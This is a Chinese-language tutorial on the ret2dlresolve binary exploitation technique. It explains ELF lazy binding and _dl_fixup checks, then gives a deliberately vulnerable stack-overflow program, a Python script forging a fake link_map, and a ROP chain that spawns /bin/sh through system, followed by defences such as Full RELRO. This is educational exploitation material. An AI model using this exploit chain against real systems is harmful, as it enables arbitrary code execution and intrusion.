ret2dlresolve利用技术详解与实战分析
字数 2256 2025-12-16 12:11:12
ret2dlresolve 利用技术详解与实战分析
一、技术背景与原理概述
ret2dlresolve 是一种基于 ELF 动态链接机制的漏洞利用技术,主要针对延迟绑定(Lazy Binding)过程进行攻击。该技术通过伪造动态链接相关的数据结构,控制 _dl_fixup 函数的执行流程,最终实现任意函数调用。
1.1 延迟绑定机制
在部分 RELRO(Relocation Read-Only)保护模式下,动态链接库的函数地址在首次调用时才进行解析和绑定。这个过程涉及以下关键组件:
- .plt.sec 节:包含跳转到 GOT 表的指令
- .got.plt 节:存储函数地址的全局偏移表
- .plt 节:包含解析函数地址的桩代码
_dl_runtime_resolve_xsavec:运行时解析函数_dl_fixup:实际完成地址解析的核心函数
二、正常延迟绑定流程分析
2.1 阶段一:PLT 跳转过程
首次调用函数时(如 gets),执行流程如下:
.plt.sec:0000000000401050 _gets proc near
.plt.sec:0000000000401050 endbr64
.plt.sec:0000000000401054 bnd jmp cs:off_404018 ; 跳转到 GOT 表
GOT 表初始指向 PLT 中的解析代码:
.got.plt:0000000000404018 off_404018 dq offset gets
实际跳转到 PLT 的解析部分:
.plt:0000000000401030 sub_401030 proc near
.plt:0000000000401030 endbr64
.plt:0000000000401034 push 0
.plt:0000000000401039 bnd jmp sub_401020
最终进入通用解析器:
.plt:0000000000401020 sub_401020 proc near
.plt:0000000000401020 push cs:qword_404008
.plt:0000000000401026 bnd jmp cs:qword_404010 ; 跳转到 _dl_runtime_resolve_xsavec
2.2 阶段二:动态解析过程
_dl_runtime_resolve_xsavec 函数准备参数后调用 _dl_fixup:
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
关键数据结构操作:
- 获取符号表地址:
symtab = D_PTR(l, l_info[DT_SYMTAB]) - 获取字符串表地址:
strtab = D_PTR(l, l_info[DT_STRTAB]) - 获取重定位表项:
reloc = D_PTR(l, l_info[DT_JMPREL]) + reloc_offset - 计算 GOT 地址:
rel_addr = l->l_addr + reloc->r_offset
解析完成后,将真实函数地址写入 GOT 表,后续调用直接跳转到目标函数。
三、攻击原理与利用条件
3.1 核心攻击思路
通过栈溢出等手段控制程序执行流,伪造 link_map 结构和相关动态链接数据,使得 _dl_fixup 函数在解析过程中将目标函数(如 system)地址写入可控位置。
3.2 必须满足的条件
- link_map 可读:
DT_STRTAB、DT_SYMTAB、DT_JMPREL指针可读 - 符号表验证绕过:
(*(sym+5)) & 0x03 != 0(符号可见性检查) - 重定位类型正确:
(reloc->r_info) & 0xff == 7(ELF_MACHINE_JMP_SLOT) - GOT 表可写:
rel_addr = l->addr + reloc->r_offset有写权限 - 地址计算正确:
l->l_addr + sym->st_value指向目标函数地址
3.3 关键技术公式
伪造的 system 地址计算:
value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system
四、实战利用详解
4.1 目标程序分析
示例漏洞程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void vuln(){
char buf[0x60];
read(0,buf,0x200); // 栈溢出漏洞
}
void main(){
init();
close(2);
vuln();
}
4.2 利用脚本解析
关键伪造函数 get_fake_link_map:
def get_fake_link_map(fake_link_map_addr, l_addr, st_value):
# 伪造动态段指针
fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)
fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)
# 伪造符号表和重定位表结构
fake_Elf64_Dyn_SYM = p64(0) + p64(st_value - 0x8)
fake_Elf64_Dyn_JMPREL = p64(0) + p64(fake_link_map_addr + 0x28)
# 伪造重定位项
r_offset = fake_link_map_addr - l_addr
fake_Elf64_rela = p64(r_offset) + p64(0x7) + p64(0)
# 构建完整的伪造 link_map
fake_link_map = p64(l_addr & (2**64-1)) # l_addr
fake_link_map += fake_Elf64_Dyn_SYM # 符号表相关
fake_link_map += fake_Elf64_Dyn_JMPREL # 重定位表相关
fake_link_map += fake_Elf64_rela # 重定位项
fake_link_map += b"\x00" * 0x28 # 填充对齐
fake_link_map += fake_Elf64_Dyn_STR_addr # STRTAB 指针
fake_link_map += fake_Elf64_Dyn_SYM_addr # SYMTAB 指针
fake_link_map += b"/bin/sh\x00".ljust(0x80, b'\x00') # 命令字符串
fake_link_map += fake_Elf64_Dyn_JMPREL_addr # JMPREL 指针
return fake_link_map
4.3 内存布局分析
伪造的 link_map 结构布局:
| 偏移 | 内容 | 说明 |
|---|---|---|
| 0x00 | l_addr | 库基地址偏移 |
| 0x08 | fake_Elf64_Dyn_SYM | 伪造符号表项 |
| 0x18 | fake_Elf64_Dyn_JMPREL | 指向伪造的 JMPREL |
| 0x28 | fake_Elf64_rela | 伪造的重定位项 |
| 0x40-0x68 | 填充数据 | 对齐和绕过检查 |
| 0x70 | STRTAB 指针 | 指向字符串表 |
| 0x78 | SYMTAB 指针 | 指向符号表 |
| 0x80-0x100 | "/bin/sh" + 填充 | 命令字符串 |
| 0x100 | JMPREL 指针 | 指向重定位表 |
4.4 ROP 链构建
plt0 = elf.get_section_by_name('.plt').header.sh_addr # PLT0 地址
pop_rdi_ret = 0x00000000004012a3
pop_rsi_r15_ret = 0x00000000004012a1
ret = 0x000000000040101a
fake_link_map_addr = 0x404a00 # BSS 段地址
# 计算偏移
l_addr = libc.sym['system'] - libc.sym['read']
st_value = elf.got['read']
# 构建 ROP 链
payload = b'A' * 0x60 # 填充缓冲区
payload += p64(0) # 保存的 rbp
payload += p64(pop_rdi_ret)
payload += p64(0) # stdin 文件描述符
payload += p64(pop_rsi_r15_ret)
payload += p64(fake_link_map_addr) # 伪造结构地址
payload += p64(0) # r15
payload += p64(elf.plt['read']) # 读取伪造数据
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr + 0x78) # "/bin/sh" 地址
payload += p64(plt0) # 触发解析
payload += p64(0) # reloc_arg
五、调试技巧与注意事项
5.1 调试关键点
- GOT 表状态监控:观察首次调用前后 GOT 表内容变化
- link_map 验证:确保伪造的 link_map 能通过基本检查
- 寄存器状态:特别注意 RDI、RSI 在
_dl_fixup调用前的值
5.2 常见问题解决
- 段错误:检查伪造的数据结构对齐和指针有效性
- 解析失败:验证重定位类型和符号可见性设置
- 权限问题:确保目标 GOT 表地址有写权限
六、防护与检测
6.1 防护措施
- Full RELRO:在程序启动时完成所有重定位,消除延迟绑定
- 栈保护:启用 Canary、PIE 等保护机制
- 数据执行保护:防止伪造数据被执行
6.2 检测方法
- 动态分析:监控异常的
_dl_fixup调用 - 静态检测:识别可疑的 ROP 链和数据结构伪造
- 行为监控:检测异常的动态链接库操作
七、总结
ret2dlresolve 技术利用了动态链接机制的复杂性,通过精细控制数据结构实现代码执行。理解这一技术需要深入掌握 ELF 格式、动态链接过程和内存布局知识。在实际利用中,需要仔细构造伪造数据并通过调试验证每个步骤的正确性。
该技术虽然复杂,但具有很好的通用性,在部分 RELRO 保护下能有效绕过 ASLR 等防护机制,是高级二进制漏洞利用的重要技术之一。